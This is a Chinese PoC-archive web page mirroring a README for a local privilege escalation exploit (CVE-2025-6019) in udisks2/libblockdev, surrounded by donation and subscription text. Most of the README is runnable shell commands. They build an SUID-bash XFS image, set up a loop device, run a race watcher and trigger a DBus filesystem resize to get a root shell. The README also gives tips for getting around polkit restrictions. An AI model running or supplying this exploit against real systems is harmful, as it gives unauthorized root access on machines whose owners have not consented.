目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1336

100%

CVE-2025-6019 PoC — Storaged libblockdev 安全漏洞

来源
关联漏洞
标题: Storaged libblockdev 安全漏洞 (CVE-2025-6019)
Description:Storaged libblockdev是Storaged开源的一个用于操纵块设备的库。 Storaged libblockdev存在安全漏洞,该漏洞源于与udisks守护进程交互方式不当,可能导致本地权限提升。
Description
exploit
介绍
# CVE-2025-6019: Privilege Escalation Exploit via UDisks2 Filesystem Resize

## Vulnerability Details
- **CVE ID**: CVE-2025-6019
- **Impact**: Local Privilege Escalation (LPE)
- **Affected Systems**: Linux systems with vulnerable `udisks2` versions
- **Mechanism**: Race condition during filesystem resize allows access to SUID binaries in world-writable temporary directories
- **Key Components**: 
  - `udisks2` service (DBus interface)
  - `org.freedesktop.UDisks2.Filesystem.Resize` method
  - Temporary mount points under `/tmp/blockdev*`

## Exploit Workflow
### 1. Prepare Malicious Filesystem Image (Attacker)
```bash
dd if=/dev/zero of=./xfs.image bs=1M count=300
mkfs.xfs ./xfs.image
mkdir ./xfs.mount
mount -t xfs ./xfs.image ./xfs.mount
cp /bin/bash ./xfs.mount
chmod 04555 ./xfs.mount/bash  # Set SUID bit
umount ./xfs.mount 
```

### 2. Trigger Exploit (Victim Machine)
```bash
# Verify system capabilities
gdbus call --system --dest org.freedesktop.login1 \
  --object-path /org/freedesktop/login1 \
  --method org.freedesktop.login1.Manager.CanReboot

# Clear interference
killall -KILL gvfs-udisks2-volume-monitor

# Setup loop device
udisksctl loop-setup --file ./xfs.image --no-user-interaction

# Background watcher (executes when SUID binary appears)
while true; do 
  /tmp/blockdev*/bash -c 'sleep 10; ls -l /tmp/blockdev*/bash' && break
done 2>/dev/null &

# Trigger vulnerability via DBus
gdbus call --system --dest org.freedesktop.UDisks2 \
  --object-path /org/freedesktop/UDisks2/block_devices/loop0 \
  --method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}'
```
### 3. Gain Root Access
```bash
/tmp/blockdev*/bash -p  # Launch privileged shell
id
# uid=65534(nobody) gid=65534(nobody) euid=0(root)
```

## Important! 
Exploit working only in logind session! 

- The script must run from a logind session that is
  Active=yes and Remote=no (e.g. tty1).  
- When it’s started from an SSH / pts/* / reverse-shell session the
  `udisksctl loop-setup --no-user-interaction` call is denied by
  polkit, so the PoC bails out with  
  “Failed to create loop device”.

Notice: 
- If you want to use exploit via SSH, you must drop temporary polkit rule

## How to use exploit 

### Create suid image 
```bash
$ sudo bash exploit.sh create 
```

### exploit system 
```bash
$ bash exploit.sh exploit 
```

### POC Video

![poc](https://github.com/user-attachments/assets/b941cdd1-c21a-4247-a649-94100f83a15c)


文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →